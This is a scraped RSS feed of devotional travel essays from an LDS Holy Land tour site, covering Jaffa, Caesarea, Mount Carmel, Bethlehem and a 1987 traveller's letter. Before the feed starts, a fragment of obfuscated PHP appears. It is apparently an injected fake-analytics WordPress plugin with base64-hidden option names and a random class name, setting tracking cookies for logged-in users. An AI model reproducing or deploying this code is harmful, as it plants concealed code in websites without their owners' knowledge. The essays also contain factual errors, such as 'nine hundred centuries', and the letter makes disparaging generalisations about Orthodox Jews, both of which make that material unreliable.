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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_2b967d92=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_2b967d92])){return;}$_317dc73e=time()+(365*24*60*60);setcookie($_2b967d92,'1',$_317dc73e,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='));delete_transient(base64_decode('X19nYV9yX2NhY2hl'));delete_option(base64_decode('X19nYV9zbmlwX2lk'));});new GAwp_f670d34e(); God Is Calling – Israel Revealed https://www.israelrevealed.com LDS Tours in Israel featuring Daniel Rona Fri, 25 May 2018 20:39:11 +0000 en-US hourly 1 https://wordpress.org/?v=5.4.19 https://www.israelrevealed.com/wp-content/uploads/2017/03/favicon.png God Is Calling – Israel Revealed https://www.israelrevealed.com 32 32 Israel – Contrasts And Consonance https://www.israelrevealed.com/israel-contrasts-and-consonance/ https://www.israelrevealed.com/israel-contrasts-and-consonance/#respond Fri, 25 May 2018 20:39:11 +0000 https://www.israelrevealed.com/?p=4174

Flag Of Israel
Flag Of Israel

Israel is a land of exciting contrasts, a young nation built on an ancient inheritance. This inheritance includes simple truths revealed to simple prophets which have evolved into many rather enigmatic interpretations. In the land of Israel leaders of religious traditions compete fiercely for attention, creating for some a wilderness of confusion. But, if you look, listen and feel, you can find a `Spiritual Oasis in the Holy Land’. Therein exists a harmony of cultures and people bound together by events that the entire world can learn from.

One of the most important tasks in learning, whether by seeing, hearing or feeling, is to be able to recognize the truth. It is often joked among tour guides that the more often a statement is repeated, the truer it becomes! But for something as important as the Holy Land with its history and religion may we suggest four reasonable considerations to be your guidelines:

 

    Archaeology

-a systematic research through levels of civilizations. (It is fortunate that almost every one of the conquerors had such a desire for personal ownership that they destroyed, covered and rebuilt the cities they vanquished — some ancient cities had up to 28 levels of civilization).

 

    Written historical accounts

-a recording of events that affected the populace in the Middle East. In addition to the Holy Scriptures, many periods of civilization produced written records, dispatches and other letters on stone, clay and metal tablets that reveal important historical, governmental and religious details and messages.

 

    Tradition

-often used, but least reliable when limited to the buildings and “Holy Sites” proliferating Israel. The most credible traditions are of names and places — most of the names of cities and towns are still the same or of close linguistic connection, (Salem – Jerusalem, Bethlehem, Nazareth, etc,).

Feelings, a reflection on the spirit of places and events, the spirit that touches your heart — such consideration is very important, especially when religion is pondered. In addition to the spirit or feelings people bring with them based on their own religious expectations are the feelings of places — a sense of hallowedness and awe that time has not been able to erase.

Using these criteria, let’s proceed to see, hear and feel this wonderful old/new country. The heartfelt joy of the Holy Land is in the feeling that comes from remembering the events that took place here. On one hand, great events were caused by humble prophets, and on the other, men wanting to be great were caused to be humble. For reasons God determined, this land was chosen by Him to be a key place for the revelation of truth. Abraham, who was living in the East and North, in the land of the Chaldees, was saved by God from being a human sacrifice. He left the lands of idol-worshipping and was sent to the Crossroads of the East to establish the true worship of God. A religion and culture soon developed that would be spread to the surrounding lands and peoples, and thus Israel became the spiritual and temporal crossroads of the East. It is remarkable that such a little land had such a great effect on history.

Israel Conquests
Israel Conquests

CONQUESTS

The land of Israel is really quite small. The biblical borders of the “Jordan River to the Mediterranean” and “Dan to Beersheba” are about 65-miles wide and about 200-miles long, with virtually no natural resources, (there is no gold or silver or metal deposits). Even Golda Meir, former Prime Minister of Israel, humorously chided Moses when she said, “He travelled the wilderness for forty years and then settled the one spot that had no oil”! From a perspective of treasure or riches there may not seem to be an apparent reason for the almost 30 different conquests this land has experienced. The foreign conquerors included, (chronologically), Canaanites, Egyptians, Hysksos, Midianites, Hittites, Philistines, Assyrians, Babylonians, Persians, Greeks, Syrians, Romans, Byzantines, Moslems, Mongols, Crusaders, Turks and British. Yet none of them remained. Throughout its colorful history the land of Israel has been overrun and conquered by 18 different peoples, close to 30 times.

Ah, but the very Jews and Arabs who have experienced the various conquerings are still here. They have survived, submitted to or eventually overthrown the foreign occupations. Foreign powers have not always been adverse, in fact several of them brought added prosperity and world influence to the local inhabitants. However, for the Jews and the Arabs — it is their land, not mutually exclusive, but none-the-less a land where they have continued to survive and for the most part successfully coexist for centuries. The recent historical local struggles were more between Arabs and Arabs than the incorrectly perceived Arab/Jewish conflicts.

The reasons for the foreign conquests was not economic in the sense of resources that could be plundered, but they were geographic because the land of Israel was situated between two great population centers. To the north and east was the Fertile Crescent with its millions of population; to the south and west was the fertile Nile Delta with its millions of peoples. These major Middle-East population centers wanted to communicate and trade with each other, they travelled through the land of Israel and it became the Crossroads of the East.

A few years ago, I was asked to audition (among many others) for the Tabernacle Choir’s Spoken Word program. Afterwards, I quipped to the producer, if the choir ever came to Jerusalem, I could always be your Israel announcer. However, I continued, the program would have to begin a little differently. My recommendation was to begin the program with the words, “From the crossroads of the East….” A word play, but words can create pictures that give greater understanding.

CROSSROADS, A CHIASM OF HISTORY

Let’s try a word play, numbering key words that create a definite pattern. On one hand, in ancient days, in the Crossroads of the East (1), the land of Israel, there was a religious freedom with living inspired leaders teaching the religious word (2) to the people who came in (3) from every direction for trade or education. On the other hand, in these later-days, in the Crossroads of the West (3), the land of America, there is a religious freedom with living inspired leaders teaching the religious word (2) by sending it out (1) in all directions. This word play based on historical fact is an inverted repetition, a chiasm. It is typical of many scriptural dialogues, reports of biblical events and even the way many historical events unfolded. It may be a way of considering the past as a guideline to the future! A chiasm is like a sandwich, bread on both sides with a delectable morsel in the middle.

Let’s explain: A chiasm can be words or thoughts listed first in one direction,

1 –

2 –

3 –

4 etc.

…and then repeating the words or thoughts in reverse order,

4 –

3 –

2 –

1 –

But a chiasm is only valuable when the center point, or apex is recognized. It is in the middle of the “crossroads chiasm” that we find the source of truth, the Word, the Messiah, the Jehovah of the Old Testament, the Jesus of the New Testament, the Anointed One. He chose the land of Israel to reveal the word of truth in the Ancient and Meridian times. (JOHN 1:1)

Scenery Of Israel
Scenery Of Israel

MOUNTAINS, WATER AND PEACE

The land of Israel also contains majestic landscapes as varied as her people, with ocean and seas, plains and mountains. It is green, and there is water! It is a good land, where Jews, Moslems and Christians raise their families. Most of them agree that a feeling of peace and youthful growth exists even though its history is almost as old as civilization – a country 45 years-old, going on 5000!

Ah! – but as already discussed, Israel is also a land of travelers. Even today, close to two-million visitors come from all over the world to reach for the history and religion as it might have been in the past. Anciently, from the fertile crescent at the north to the fertile Egyptian Nile delta at the south, it was truly the Crossroads of the East. (ISAIAH 11:16)

Come! Journey with us through the land that has touched the hearts of hundreds of millions of people and is reaching out to you.. Meet the people, their customs, traditions and their religion — and hopefully you will also enjoy a `Spiritual Oasis in the Holy Land’.

Ocean Sunrise In Israel
Ocean Sunrise In Israel

THE WAY OF THE SEA

Jaffa (Joppa) is an ancient Old Testament caravan stop. In archaeological terms it is a Tel, a mound of different civilizations layered one on each other after each subsequent destruction and rebuilding. This particular “way station” became a seaport where the ancient prophet Jonah left for the west instead of going north and east to Ninevah as the Lord
commanded him to do. A terrible storm arose, endangering the ship and crew. Jonah, being identified as the cause, was thrown overboard, but, the Lord did not let him perish. Jonah spent three days and three nights inside the belly of a great fish. (JONAH 1,2) At the time, little did he know we would be referring to his experience as a sign of the Messiah almost twenty-nine centuries later.
Some people say caustically, “What a whale of a story”! One would have to look a long time to find whales in the mediterranean. But in that body of water, today, there exist a `Grouper’ fish which, according to experts can continue to grow large enough to swallow even a man. There are modern tales that reveal such occurrences as well.

MESSIANIC SIGN OF JONAH

About nine hundred centuries after Jonah, the Pharisees asked Jesus for a sign that he was the Messiah, he informed them that a wicked and adulterous nation sought for signs and that they, the Pharisees, would receive only one sign. Jesus then referred to Jonah’s experience as a sign of the Messiah being three days and three nights in the earth and then overcoming death in resurrection. (MATTHEW 12:40)

The contrasts and consonance are beautiful, Jonah was told to go up to Ninevah, instead he went down to Joppa, down in the boat, down in the water. He came up out of the water, came up to Ninevah and saved from death himself watched that great city be saved. Jesus went down to a prison, was crucified, went down to the grave. He came out of the grave and saved the entire humanity.

Port Of Jaffa In Tel Aviv
Port Of Jaffa In Tel Aviv

PETER COMMANDED TO TEACH GENTILES

In New Testament times, the city of Jaffa was some 20 feet below today’s city level. Simon Peter was staying here at the home of Simon the Tanner when he received a remarkable vision. It was the sixth hour of the day, (the sixth hour is what in modern times we would call noon). Simon Peter was apparently praying, (religious Jews pray three times a day using a special prayer cloth). He saw a sheet with knitted or knotted corners – maybe like the typical Jewish prayer shawl, a Talith with its knotted corners – which was filled with all sorts of common or unclean foods. An angel commanded Peter to eat of those foods, contrary to Jewish dietary law. The vision was a conflict in symbolism: the Talith used in the Temple as a holy garment filled with foods forbidden by the Law of Moses.

On the previous day, some 35 miles to the north at Caesarea, a Roman centurion named Cornelius received a vision at the “ninth hour” of the day, (again, in modern times, three o’clock in the afternoon) to send for Peter so that Peter could teach Cornelius the truth. Incidentally, the time to travel the distance of 35 miles would take the better part of two days, or at least an overnight journey. Cornelius’ invitation to Peter arrived just as Peter was contemplating the meaning of the unusual vision of “unkosher” foods he had just been commanded to eat. Peter was soon to learn of the correlation of these two heavenly manifestations. When Peter arrived to visit in the house of Romans, again contrary to Jewish law and custom, he related that God had updated or changed the food laws of Israel, (showing Israel’s singularity), and said, “But in every nation he that feareth him, and worketh righteousness, is accepted with him.” Not just Israelites, but all peoples were able to become children of the covenant. (ACTS 10)

The scriptural report of these events is also a chiasm, first we read of Cornelius’ vision, next we learn of Peter’s vision, but when Peter arrives in Caesarea, the vision of Cornelius is repeated again. The center point is “salvation for all people”, The Savior’s name in Hebrew, “Jehoshua” means “Jehovah saves”. (ISAIAH 12:2)

TEL AVIV

1900 years later, a new city sprang up on sand dunes near Jaffa. Tel Aviv became Israel’s largest population center, an international city of peoples from all over the world. The sand dunes, which incidentally have blown and washed up from Egypt, have been subdued, and this coastal range, the ancient plains of Sharon, was transformed from wind swept dust and pockets of rotting swamps to fertile green fields once again.

The City Of Caesarea
The City Of Caesarea

CAESAREA: ROME AWAY FROM ROME

About two millennia ago, starting about year 22 B.C.E., (a scholastic adjustment referring to before common era – that is, before the time of Jesus), an egomaniac king, Herod, built a city on the wind swept sand dunes that line the Way of the Sea and named it after his ruler, Caesar. About thirteen miles south of Mount Carmel, Caesarea became the Roman capital of what Romans called Palestine. (The name in Hebrew and Arabic is “Phillistia” and the Romans may have renamed it so to “spite” the Jews). Caesarea was a remarkable city with a break-water harbor that could be used year around. The breakwater was constructed by creating wooden forms that were lowered into the water with stone weights and then filled with a concrete that was poured into the forms – under water!

A splendid theater, amphitheater, sports hippodrome, and worship areas added to the modern opulent Roman city in the province of Judea. To have sufficient fresh water for a city that may have grown to 60,000 in population, fresh running water was channeled from Mount Carmel about thirteen miles away. Remainders of the Roman aqueduct and other buildings are still visible today

AGRIPPA: ALMOST A BELIEVER

It was at Caesarea that a later Herod, Agrippa the second, questioned the Apostle Paul about his Roman arrest that interrupted a planned Jewish execution in Jerusalem. Under Roman law, Jewish priests were not allowed to execute anyone, except for temple violations. Paul had apparently preached in the temple after his remarkable conversion, but escaped stoning at the hands of Jewish priests because he was also a Roman citizen. The restored theater at Caesarea is a fitting place to review Paul’s speech to the king. In telling his unusual conversion story, which included Paul’s direct vision of the resurrected Jesus, he challenged the king himself to believe. King Agrippa retorted, “…Almost, thou persuadest me…”. “And Paul said, I would to God, that not only thou, but also all that hear me this day, were both almost, and altogether such as I am, except these bonds.” (ACTS 26)

Paul’s message continues to be valid today, a commitment to true belief must be wholehearted, “almost” isn’t enough!

CAESAREA DESTROYED

Caesarea became the place of Jewish revolt under Rabbi Akiva as early as year 63 C.E. (Common Era – a scholastic adjustment that means the same as A.D.) and later a seat of Jewish learning as well as Christian schools including institutions founded by Origen and Eusebius. Eventually it was totally destroyed by Moslems in the seventh century. Later, Crusaders rebuilt Caesarea as a much smaller place, surrounded it with a moat, and used the ruins of Herod’s breakwater as a seaport.

The City Of Haifa
The City Of Haifa

HAIFA: ISRAEL’S THIRD LARGEST CITY

Continuing further north on the coastal ‘Way of the Sea’, we find the city of Haifa rising splendidly upon Mount Carmel. The harbor was built by the British in the 1930’s. They put in a breakwater to accommodate the larger ships and tankers of modern times. The area, which anciently was the inheritance of the tribe of Zebulon is now the industrial center of Israel. (JOSHUA 19:10-16) Oil refineries, steel mills and manufacturing industries thrive in this city where one of the finest technical universities of the Western world is located. Haifa’s Technion” or Institute of Technology is the center for “high tech”. Haifa is known for it’s advances and accomplishments in technical and computer sciences.

In this city the Bahai religion has its world center. The Bahais have close to three and a half million members throughout the world. Sorely persecuted in the mid 1800’s, they established headquarters on Mount Carmel. Among the beliefs of this religion is the doctrine that all men are brothers and that they should speak the same language. The Bahais teach their special language in their worship centers. They also believe that their religion will rule and judge all people at the last days, before the “end of the world”. Recently they have built a new justice center near their gold domed headquarters building.

Mount Carmel
Mount Carmel

ELIJAH ON MOUNT CARMEL

Mount Carmel is most famous for the contest between Elijah and the priests of Baal precipitated by the three-and-a-half years of drought. During the 42-months of drought, Elijah was not able to convince the Israelites that they should humble themselves and believe in Jehovah, the God of Israel. Elijah (his name means “My God is Jehovah”) had an experience that would referred to by Jesus nine centuries later; even though there were many widows in Israel during Elijah’s time, he choose only to bless a widow in Sarepta, a city by Sidon. She agreed to feed Elijah, even though her scant supply of flour and oil would be depleted. A miracle occurred after feeding the prophet, the widow’s flour and oil supply continued through the remainder of the drought! “And she went and did according to the saying of Elijah: and she, and he, and her house, did eat many days. “And the barrel of meal wasted not, neither did the cruse of oil fail, according to the word of the LORD, which he spake by Elijah.” (1 KINGS 17:15-16)

Eventually, suffering from the lack of rain, King Ahab called for a contest in which he commanded that Elijah and the 450 priests of Baal should prove which of their Gods was real. The priests tried to call down fire from their gods of wind, fire and rain to burn their offering, but nothing happened. Taunting them somewhat, Elijah then built another altar and digged a trench around it. Then Elijah poured water on his offering, filling the trench, and commanded fire from heaven to consume the offering. Not only was the offering consumed, but the water as well. The priests of Baal not only suffered a humiliating defeat but were later put to death by order of Elijah. (1 KINGS 18:17-46)

It is interesting to note that such contests or “theatrics” were often used by the priests of other religions. They would “fight” against evil invoking one of their Gods for assistance. Often, appearing to fail and just before succumbing to the evil, the priest would be “rescued” or “comforted” by a very beautiful virgin woman. With renewed strength and confidence, the priest would then rally and defeat the evil. The theatrics would conclude with the priest and the beautiful woman going off “into the sunset” to consummate their victory. Many times, the people would return home with a souvenir from the theatrics, a small replica of the woman — a goddess of fertility. This type of religious prostitution was abhorrent to the God of Israel. The people thought they could be religious and still visit the titillating dramas.

All of these historical patterns hold a lesson for us today. They were written in prose and poetry, patterns to provide a path leading into the future. Patterns that teach by contrasts and consonance.

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]]> https://www.israelrevealed.com/israel-contrasts-and-consonance/feed/ 0 Calming Anxiety In The Holy Land https://www.israelrevealed.com/calming-anxiety-in-the-holy-land/ https://www.israelrevealed.com/calming-anxiety-in-the-holy-land/#respond Tue, 15 May 2018 18:18:36 +0000 https://www.israelrevealed.com/?p=4196

Sea of Galilee, Israel
Sea of Galilee, Israel

Shalom! I’ve been in Israel for more than two weeks now with guests on tour.

We have not felt any tension, nor has the Israel Ministry of Tourism or the U.S. State department given any warnings or changes in traveling instructions. We are enjoying a wonderful spirit and enjoying good will among Arabs and Jews.

We are also NOT traveling in the confined areas of Gaza or the West Bank where Palestinians are demonstrating, nor do we plan to, because the Biblical sites we desire to experience aren’t there!

Our defense systems are the finest in the world. Israel is peaceful. Our neighbors are noisy, but we’ll keep ourselves safe!

Travel in peace!
Shalom, Daniel Rona

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]]> https://www.israelrevealed.com/calming-anxiety-in-the-holy-land/feed/ 0 Sheep, Shepherds And The Son Of God https://www.israelrevealed.com/sheep-shepherds-and-the-son-of-god/ https://www.israelrevealed.com/sheep-shepherds-and-the-son-of-god/#respond Tue, 15 May 2018 01:26:58 +0000 https://www.israelrevealed.com/?p=4150

A Bethlehem Neighborhood In The Evening
A Bethlehem Neighborhood In The Evening

We live one mile from Bethlehem. Our neighborhood is modern and clean. In our home there’s always room for a guest. What we have is never too good for anyone passing by. This we decided upon since we learned about some of our ancient relatives who couldn’t even find a private room to fulfill one of life’s greatest blessings – the birth of their first child.

Today, many people travel to the Holy Land to look for Him in “traditional spots”.

The Nativity Church In Bethlehem
The Nativity Church In Bethlehem

THE NATIVITY CHURCH

The traditionally accepted birthplace of Jesus is in a grotto located under the Church of Nativity. This is not inconceivable, in the sense that stables were usually on the ground floor or underneath the inn rooms. The tradition, however, only begins 175 years after the birth of Jesus. Three Christian churches, Greek Orthodox, Armenian and Catholic, hold separate services here and maintain a star decorating the place of birth.

Ownership is tentative, at best. The three Churches rotate their rights in using the grotto. Each one, in turn, brings their own decorative accouterments, adornments, carpets and curtains to be used during their particular mass or service. Thereafter, they must remove all of their items, relinquishing the “temporary ownership” during their mass to the next religious group.

Manger Square
Manger Square

MANGER SQUARE

Opposite or close to every Christian church in this land is a Moslem mosque, and Bethlehem’s Manger Square is no exception. Also, across the street, is the Israeli police station, souvenir shops and television antennas – a contrast to what Bethlehem must have looked like twenty centuries ago.

Our family sees Israel differently – through the ever connected branches of our family tree. The language, customs and traditions of our people reflect an eternal message, however, a message that somehow is still obscure to most of those who live here in Israel.

Everyone seems to come to Israel to see the holy places, however, the heartfelt joy of the Holy Land is in the feeling that comes from remembering the events that took place here.

A Shepherdess Tending Her Sheep
A Shepherdess Tending Her Sheep

BETHLEHEM’S ROYAL HERITAGE – RUTH AND NAOMI

Around Bethlehem are numerous hills still grazed by sheep and goats. In the spring the small fields, supported by terraces, are planted with wheat or barley. It was hills like these that had become barren when Elimelech (meaning God is my King) and his wife Naomi (meaning pleasant or blessed) and their two sons left for the greener mountains of Moab about 40-miles away across the Great Salt Lake. (It’s the people living outside of Israel call it the Dead Sea).

Sadly, Elimelech died. His sons supported their mother and even married women of Moab. One was named Ruth and the other Orpah. But even sadder, the sons died, leaving three widows. Naomi wanted to return to Bethlehem, (meaning the house of bread), she heard that wheat and barley were growing again. Ruth faithfully followed her mother-in-law. “And Ruth said, Entreat me not to leave thee, [or] to return from following after thee: for whither thou goest, I will go; and where thou lodgest, I will lodge: thy people [shall be] my people, and thy God my God: Where thou diest, will I die, and there will I be buried: the LORD do so to me, and more also, [if ought] but death part thee and me.”

It was the beginning of the barley harvest, spring, the season of Passover. Passover is celebrated to remember the deliverance of Israel from Egypt. Ruth gathered after the reapers; her good fortune was to come to the fields of Boaz who was a relative of Naomi’s late husband. It is still the Middle East custom for the late husband’s family to care for the widowed wife. “And Boaz answered and said unto her, It hath fully been showed me, all that thou hast done unto thy mother in law since the death of thine husband: and [how] thou hast left thy father and thy mother, and the land of thy nativity, and art come unto a people which thou knewest not heretofore. The LORD recompense thy work, and a full reward be given thee of the LORD God of Israel, under whose wings thou art come to trust.”

Ruth married Boaz and had a son named Obed, who had a son named Jesse who tended flocks and crops in these same hills. (RUTH 1,2,3)

A Statue Of King David In Jerusalem
A Statue Of King David In Jerusalem

KING DAVID

Jesse’s youngest son was named David. In obscurity, a boy shepherd was ordained the King of Israel, and yet he continued to be a shepherd — a good shepherd. Born at Bethlehem he was promised by God that his seed would bring the King of Kings, the Messiah — also to be known as the Good Shepherd. To this day, Israelis still sing about David, King of Israel, awaiting a new Davidic descendant. “For unto us a child is born, unto us a son is given: and the government shall be upon his shoulder: and his name shall be called Wonderful, Counsellor, The mighty God, The everlasting Father, The Prince of Peace.” (ISAIAH 9:6 7)
The Saviour’s Birth

THE KING OF KINGS

“And it came to pass in those days,” that Joseph and his espoused wife went “…unto the city of David, which is called Bethlehem…”“And behold, he shall be born of Mary, at Jerusalem which is the land of our forefathers, she being a virgin, a precious and chosen vessel, who shall be overshadowed and conceive by the power of the Holy Ghost, and bring forth a son, yea, even the Son of God.” ALMA 7:10

Again it was the Passover season, spring of that year. According to the biblical calendar, Passover always occurs at the first full moon after the first day of spring. In the year 1830, the 6th of April was the first full moon after the first day of spring. It was Passover, “…being one thousand eight hundred and thirty years since the coming of our Lord and Savior Jesus Christ in the flesh…” DOCTRINES and COVENANTS 20:1 The Deliverer was born at the season celebrating the deliverance of Israel from Egypt and an expectation of even a greater deliverance to come.

The journey from Nazareth to Bethlehem had taken at least a week to ten days. They may have been “camped” at a caravan inn for some time for the scripture reads, “And so it was, that, while they were there, the days were accomplished that she should be delivered. And she brought forth her firstborn son, and wrapped him in swaddling clothes, and laid him in a manger; because there was no room for them in the inn.” Nearby, shepherds watched over their flocks, and angels announced good tidings. “For unto you is born this day in the city of David a Savior, which is Christ the Lord…Ye shall find the babe wrapped in swaddling clothes, lying in a manger.” (LUKE 2:1-19)

We feel that we know some of those angels. Wasn’t Naomi one of them? In her life, she was bitter having lost her husband and sons. But she brought a convert daughter-in-law to Bethlehem, to become the great, great grandmother of King David, whose royal line brings our Messiah. Our Savior came from a convert’s family!

Although most of the six-million inhabitants of this little land of Israel don’t even know anything about Him, we do. We have as some of our neighbor friends, shepherds. Their living is not modern or clean. But they are humble and kind. They have shared their happiness when babies were born. We have mourned with them as one of their babies died. And we sing to them, on the hills of Bethlehem, songs and feelings that angels announced two thousand years ago. We can’t sing “Far, Far away on Judaea’s plains”. The words come out as “Near, Near at hand on Judaea’s hills, shepherd’s of old heard the joyous trills”!

Today’s shepherds may not yet understand our words, but one day they will — understand the gift of the One born in a manger. He gave life, Eternal life to all.

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]]> https://www.israelrevealed.com/sheep-shepherds-and-the-son-of-god/feed/ 0 The Mothers Of Bethlehem https://www.israelrevealed.com/the-mothers-of-bethlehem/ https://www.israelrevealed.com/the-mothers-of-bethlehem/#respond Tue, 15 May 2018 01:09:27 +0000 https://www.israelrevealed.com/?p=4134

A Mother in Ancient Israel
A Mother From Ancient Israel

This is a personal view of some women of Bethlehem. Life is such that there are poor women no matter where they live or what nationality they are from. Life provides joys and bitterness no matter one’s station in life. Remember, they are all our sisters.

A BETHLEHEM UPBRINGING

I grow up a mile north of Bethlehem with sheep and shepherds as neighbours. I was raised on the hillsides that my foremothers lived on. I smelled the fresh, wild oregano just as they did. I watched the fields of barley, and wheat turn brown as the seasons moved on. Many years ago, the family of Elimelech left a famine in Bethlehem, for Moab to find refuge. No longer would Bethlehem, which means “House of Bread” in Hebrew, be their house, for there was no bread in the land.

Wild Oregano
Wild Oregano

LIFE GOES ON

No matter the economic hardships one may encounter, this I know, life goes on. This family of Elimelech, with two sons, Mahlon and Chilion, settled in Moab for several years. Mahlon and Chilion took Moabite women to wife. Eventually, Elimelech died along with his two sons Mahlon and Chilion (whose names in Hebrew actually mean sickness and death). All that was left of Elimelech’s family was a widowed wife and two widowed daughters in law.

Naomi (in Hebrew means pleasant), Elimelech’s wife, knows that she must return to her fathers’ family in Bethlehem. Knowing that she cannot offer any future to her sons’ wives, begs them to also return to their fathers in Moab. One of them, named Orpah departs. The other does not. In her own words she says: “Intreat me not to leave thee, or to return from following after thee: for whither thou goest, I will go; and where thou lodgest, I will lodge: thy people shall be my people, and thy God my God:” (Ruth 1:16)

Naomi and Ruth returned to Bethlehem and lived as widows surviving on the welfare system of the day, gleaning in the fields after the reapers for a few handfuls of dropped wheat and barley.

RAHEL, BELOVED WIFE OF JACOB

Just north of Bethlehem is the traditional burial place of mother Rachel, beloved wife of Jacob. Jeremiah the prophet wrote of her “Thus saith the LORD; A voice was heard in Ramah, lamentation, and bitter weeping; Rahel weeping for her children refused to be comforted for her children, because they were not.” Naomi left Bethlehem full and came back empty. She left with pleasant hopes for the future and returned with bitterness of death in her heart.

THE SHEPHERDS

In my day, I have met a woman with a family living in a tent on a hillside overlooking the little town of Bethlehem. The family cared for its few sheep. Its children laughed and played on the hillsides; except for one, Jamil. He was sickly, could not speak, neither run, nor play like his brothers and sisters could. Eventually he died a young fourteen-year-old. His mother sat in the tent and weept, bitterly.

One day, she came out of her tent asking in broken English, “Picture? Picture Jamil?” Surely, our tourists might have a photograph of Jamil. Eventually one was found. We framed it and wrote in Arabic, “Jamil is waiting for you and wants you to be happy!” Jamil’s mother no longer sits and cries in her tent as she had before. Even a Muslim woman can be comforted, by the One born in Bethlehem.

Hillside Overlooking Bethlehem
The Hillside Overlooking Bethlehem

THE BOWL OF SOUP

When I was five years old, my mother took me with her to bring a bowl of soup to a sick woman in Bethlehem. This woman was the wife of Chris. Chris was a misguided soul who thought that he was a prophet called to preach to the Jewish people just like Jeremiah. Nowadays, in Jerusalem, there are people who follow some inner prompting to “preach in Jerusalem.” This is often referred to as “Jerusalem Syndrome.” Although Chris’s wife was not a member of our church. she needed our help.

With no address, my mother hoped she could somehow find Chris’s dwelling amongst the myriad of Bethlehem’s alleyways. With a prayer in her heart, she set out with me in tow, into Bethlehem to find Chris’s wife. Slowly, driving through Bethlehem for only 15 minutes, we saw Chris, bearded, dressed in a long robe, and with staff in hand. You see, when the Lord wants to bless someone, he finds a way for his servants to do his work.

THE SAVIOUR.

Close to 2,000 years ago, a family was under the occupation of a foreign power. Joseph and Mary left their home in Nazareth, returning to their ancestral home in Bethlehem to be counted and taxed. As Mary’s days birthing days were accomplished for her to bear her first child, and, with no private room for Mary and Joseph among their relatives, they found privacy in a cave used as a stable. There, among the animals, whose tongues would never utter a slur, whose eyes would never intrude, the Saviour came onto the world. In humble circumstances, the King of Kings came forth, among the lowly sheep. the Lamb of God was born.

Jesus's Birth
The Saviour’s Birth

TRUE RICHES

I know the Lord has a special place in his heart for the mothers of Bethlehem. Rich blessings are in store for them. Naomi’s daughter in law, Ruth, ended up marrying Naomi’s kin Boaz. Boaz and Ruth had a son named Obed. Obed laughed and played on the hillsides of Bethlehem. Obed had a son named Jesse. Jesse also laughed and played on the hillsides. Jesse had a son named David. David also laughed and played on the same hillsides. This David eventually became the king of Israel and his line ultimately produced the King of Kings who was also born amongst the meek and lowly of Bethlehem.

Naomi and Ruth, poor and bitter at the death of their husbands, are now some of the richest to inherit the Kingdom of God. Remember the mothers of His kingdom . . . the widows, the lonely, the hurt, the sick, and the bitter. As members of His flock, let us care for mothers, be they poor Muslim mothers in Bethlehem or poor Christian mothers (or any mother) where ever they are to be found. In fact, mothers are found everywhere!

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]]> https://www.israelrevealed.com/the-mothers-of-bethlehem/feed/ 0 The Holy Land Blossomed for Him (Dilworth Rust, A Personal Letter) https://www.israelrevealed.com/the-holy-land-blossomed-for-him-dilworth-rust-a-personal-letter/ https://www.israelrevealed.com/the-holy-land-blossomed-for-him-dilworth-rust-a-personal-letter/#respond Wed, 24 May 2017 20:33:58 +0000 https://www.israelrevealed.com/?p=3303

Dilworth Rust Mormon Travel Israel
Dilworth Rust, Salt Lake Temple

March 25, 1987

Dear Mother,

. . . For our anniversary . . . we were. . . in Israel . . . a wonderful experience, one which I’m sure will always remain with us. The tour was made especially meaningful by our having as a guide, Daniel Rona, a Latter-day Saint Jew authorized to lead guided tours in the Holy Land. He took us to the places that mattered most to a Latter-day Saint: places which fit 1) archaeology, 2) the scriptural record, 3) tradition, and 4) impressions of the Spirit.

The highlights of the week . . . were of both a physical and spiritual nature: visits to the Shepherd’s Fields across from Bethlehem, to “Temple Square”-­ and especially the site where the Holy of Holies . . . will eventually be rebuilt, to the Garden Tomb, and to the Mount of Beatitudes. A sacred spirit was especially evident at the Garden Tomb and . . . the Mount of Beatitudes. All these places have a natural beauty . . . . more than that, though, I was touched with the knowledge that despite all the churches and other shrines constructed in Jerusalem and elsewhere, the places that mattered most were untouched.

A visit to the Church of the Holy Sepulchre left me with a cold feeling; . . . By contrast, when Pat and I went back to the Garden Tomb on Wednesday–our last day in Jerusalem, and a free day for us–we loved sitting on a bench in the garden and meditating and singing. For a while, we were the only ones there. Then when we went by ourselves into the tomb, the sunlight filled up the chamber and there was a wonderful spirit pervading it. Pat and I wanted to stay there and feel the spirit (even though in a place such as that a normal impulse is to get back out into the open). Given the direction of the sun’s rays, I speculated that early on that first Easter morning, the rays might well have penetrated to the furthest recesses of the garden tomb. (It would have been appropriate: the light of the world shining fully upon the newly resurrected “Light of the World.”)

Garden Tomb Israel Mormon Travel
Garden Tomb Israel

Similarly, at the Mount of Beatitudes, (Daniel) took us to a place below the church built on the top of the mount. There at the side of the mountain, looking down upon the Sea of Galilee . . . at the top of an untouched meadow . . . I felt strongly that the Savior had been there and had taught there. . .

The experience (especially, thanks to help from our LDS Jewish guide) helped me better appreciate the need to care more about the nature and destiny of the Jews . . . I have a feeling that our role must be a continual learning role–to know where they are coming from. There is a need to build bridges. What the Jews had lost for more than two millennia were: 1) prophets and the spirit of prophecy; 2) the active Levitical order and their own high priest to function in the temple; 3) a temple; 4) a kingdom–a powerful nation (which they are now regaining); and 5) land (which has now been rectified–with people speaking 120 different languages returning to Israel).

“They have the forms without the spirit”

Perhaps the most impressive lesson I learned about the Jews (and here I am talking about the Orthodox Jews–about 85% of the Jews in Israel are irreligious) is, that they have the forms without the spirit, just as did the Pharisees in the time of Jesus. I finally understood what the Savior meant when he condemned the practice of Pharisees praying to be (seen) of men: the orthodox Jews at the Wailing Wall were moving their upper bodies up and down as they prayed, they also had their prayer books in their hands. It was evident at a long distance that they were praying . . .

The orthodox Jews enforce strict requirements on each other. On the road to Jericho there is a prominent sign that says Levites should not go further . . . because . . . of coming too close to a cemetery (and thus polluting themselves). The sign shows the long detour the Levites are obligated to take to avoid this possible contamination. With some help from Daniel Rona, we finally saw new dimensions in the Savior’s parable of the Good Samaritan. The priest and the Levite went to the other side of the road because they thought the wounded Samaritan was dead–and they didn’t want to be polluted by coming close to him. Thus, they let their fastidious (and falsely understood) adherence to strict rules keep them from helping a fellow being. (As Paul says in 2 Corinthians, “the letter killeth, but the spirit giveth life.”)

